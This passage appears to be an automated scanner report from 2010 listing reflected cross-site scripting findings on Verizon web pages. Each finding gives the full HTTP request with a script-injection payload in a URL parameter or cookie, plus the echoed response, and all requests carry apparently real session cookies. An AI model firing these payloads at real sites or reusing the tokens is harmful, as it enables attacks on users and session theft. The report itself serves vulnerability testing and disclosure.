GET /Foryourhome/MyAccount/Unprotected/UserManagement/Login/Login.aspx?5ea9c'-alert(1)-'d380d77ee59=1 HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 MyVzServer: GWA11V Content-Type: text/html; charset=utf-8 Content-Length: 133536 Expires: Sat, 20 Nov 2010 02:41:24 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:41:24 GMT Connection: close
The value of the appname request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2f16d'><script>alert(1)</script>9530f6d8cb8 was submitted in the appname parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /residentialhelp/globalheaderhelp.aspx?ignoreHelpnet=y&appname=help-net2f16d'><script>alert(1)</script>9530f6d8cb8 HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 269001 Expires: Sat, 20 Nov 2010 01:50:35 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 01:50:35 GMT Connection: close
The value of the keyword request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1ab2c"><script>alert(1)</script>e6e204819f4 was submitted in the keyword parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ForYourHome/FTTPRepair/vziha/ihamain.aspx?keyword=WebVoiceMail1ab2c"><script>alert(1)</script>e6e204819f4 HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 2407 Expires: Sat, 20 Nov 2010 01:44:51 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 01:44:51 GMT Connection: close
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>VZ In Home Agent</title> <link rel="stylesheet" href="./hnm/css/isupport.css" type="text/css" /> <link rel="stylesheet" h ...[SNIP]... <input type="hidden" name="my1stKeyWord" id="my1stKeyWord" value="WebVoiceMail1ab2c"><script>alert(1)</script>e6e204819f4"/> ...[SNIP]...
The value of the Client request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c31b8"%3balert(1)//8bc1e1ef23e was submitted in the Client parameter. This input was echoed as c31b8";alert(1)//8bc1e1ef23e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ForyourHome/GoFlow/MyVerizon/RegistrationBridge.aspx?Client=VZSAc31b8"%3balert(1)//8bc1e1ef23e&FLOWROUTE=VZSA-NFVDO HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 22645 Expires: Sat, 20 Nov 2010 01:45:13 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 01:45:13 GMT Connection: close Set-Cookie: EOrdering=PN-DR-ENABLED=iVwfNps%2fXq8%3d&PROJNORTH-CLIENT=&WR58038_DC=efZHv8OIFvI%3d&VZDOTNET=Z%2bMP4OJFy582MDcMZSELXA%3d%3d&HBXSOURCE=Z%2bMP4OJFy582MDcMZSELXA%3d%3d; domain=.verizon.com; path=/
The value of the FLOWROUTE request parameter is copied into a JavaScript rest-of-line comment. The payload 80f17%0aalert(1)//3a3631dfb05 was submitted in the FLOWROUTE parameter. This input was echoed as 80f17 alert(1)//3a3631dfb05 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ForyourHome/GoFlow/MyVerizon/RegistrationBridge.aspx?Client=VZSA&FLOWROUTE=VZSA-NFVDO80f17%0aalert(1)//3a3631dfb05 HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 22668 Expires: Sat, 20 Nov 2010 01:45:19 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 01:45:19 GMT Connection: close Set-Cookie: EOrdering=PN-DR-ENABLED=iVwfNps%2fXq8%3d&PROJNORTH-CLIENT=&WR58038_DC=efZHv8OIFvI%3d&HBXSOURCE=%2fhVcACS2B8Xn295HYL3i%2fTN0dmEOUd9D; domain=.verizon.com; path=/
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload e339d'><script>alert(1)</script>9f0d250bbd7 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Content/CommonTemplates/Templates/Broadband/Broadband.aspx?NRMODE=Published&NRNODEGUID=%7b6D1C874F-8C8F-4D12-833A-F5C0A068D90E%7d&NRORIGINALURL=%2fResidential%2fInternet%2f&NRCACHEHINT=ModifyGuest HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXe339d'><script>alert(1)</script>9f0d250bbd7; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 71537 Expires: Sat, 20 Nov 2010 01:54:12 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 01:54:12 GMT Connection: close Set-Cookie: ContextInfo_State=TXe339d'><script>alert(1)</script>9f0d250bbd7; path=/ Set-Cookie: ContextInfo_LoopQual=; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | Internet </title><meta name="keywords" content="verizon internet services, verizon internet products, ISP, internet service, fios internet ...[SNIP]... <input type='hidden' id='locationInfo' value='TXE339D'><SCRIPT>ALERT(1)</SCRIPT>9F0D250BBD7 ' /> ...[SNIP]...
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 9be7b<script>alert(1)</script>12f3c52f942 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Content/CommonTemplates/Templates/Broadband/Broadband.aspx?NRMODE=Published&NRNODEGUID=%7b6D1C874F-8C8F-4D12-833A-F5C0A068D90E%7d&NRORIGINALURL=%2fResidential%2fInternet%2f&NRCACHEHINT=ModifyGuest HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX9be7b<script>alert(1)</script>12f3c52f942; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 73117 Expires: Sat, 20 Nov 2010 01:54:17 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 01:54:17 GMT Connection: close Set-Cookie: ContextInfo_State=TX9be7b<script>alert(1)</script>12f3c52f942; path=/ Set-Cookie: ContextInfo_LoopQual=; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | Internet </title><meta name="keywords" content="verizon internet services, verizon internet products, ISP, internet service, fios internet ...[SNIP]... <DIV style="FLOAT: left" id=yourlocation>TX9BE7B<SCRIPT>ALERT(1)</SCRIPT>12F3C52F942 </DIV> ...[SNIP]...
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload d7285'><script>alert(1)</script>2d8fbfba90c was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Content/CommonTemplates/Templates/TV/Landing.aspx?NRMODE=Published&NRNODEGUID=%7bA18C63F0-45CE-49DB-AEF0-997D0095D373%7d&NRORIGINALURL=%2fResidential%2fTV%2f&NRCACHEHINT=ModifyGuest HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXd7285'><script>alert(1)</script>2d8fbfba90c; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 76231 Expires: Sat, 20 Nov 2010 01:54:00 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 01:54:00 GMT Connection: close Set-Cookie: ContextInfo_State=TXd7285'><script>alert(1)</script>2d8fbfba90c; path=/ Set-Cookie: ContextInfo_LoopQual=; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | FIOS TV + HD TV Service </title><meta name="keywords" content="video on demand, vod, premium cable tv, cable service, cable internet, dsl ...[SNIP]... <input type='hidden' id='locationInfo' value='TXD7285'><SCRIPT>ALERT(1)</SCRIPT>2D8FBFBA90C ' /> ...[SNIP]...
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload fa483<script>alert(1)</script>d0e6edf1fd8 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Content/CommonTemplates/Templates/TV/Landing.aspx?NRMODE=Published&NRNODEGUID=%7bA18C63F0-45CE-49DB-AEF0-997D0095D373%7d&NRORIGINALURL=%2fResidential%2fTV%2f&NRCACHEHINT=ModifyGuest HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXfa483<script>alert(1)</script>d0e6edf1fd8; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 74642 Expires: Sat, 20 Nov 2010 01:54:01 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 01:54:01 GMT Connection: close Set-Cookie: ContextInfo_State=TXfa483<script>alert(1)</script>d0e6edf1fd8; path=/ Set-Cookie: ContextInfo_LoopQual=; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | FIOS TV + HD TV Service </title><meta name="keywords" content="video on demand, vod, premium cable tv, cable service, cable internet, dsl ...[SNIP]... <DIV style="FLOAT: left" id=yourlocation>TXFA483<SCRIPT>ALERT(1)</SCRIPT>D0E6EDF1FD8 </DIV> ...[SNIP]...
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 26cea<script>alert(1)</script>f7f842ffe2e was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Content/ExecutiveCenter/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX26cea<script>alert(1)</script>f7f842ffe2e; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 71be6'><script>alert(1)</script>1284a5ad464 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Content/ExecutiveCenter/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX71be6'><script>alert(1)</script>1284a5ad464; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
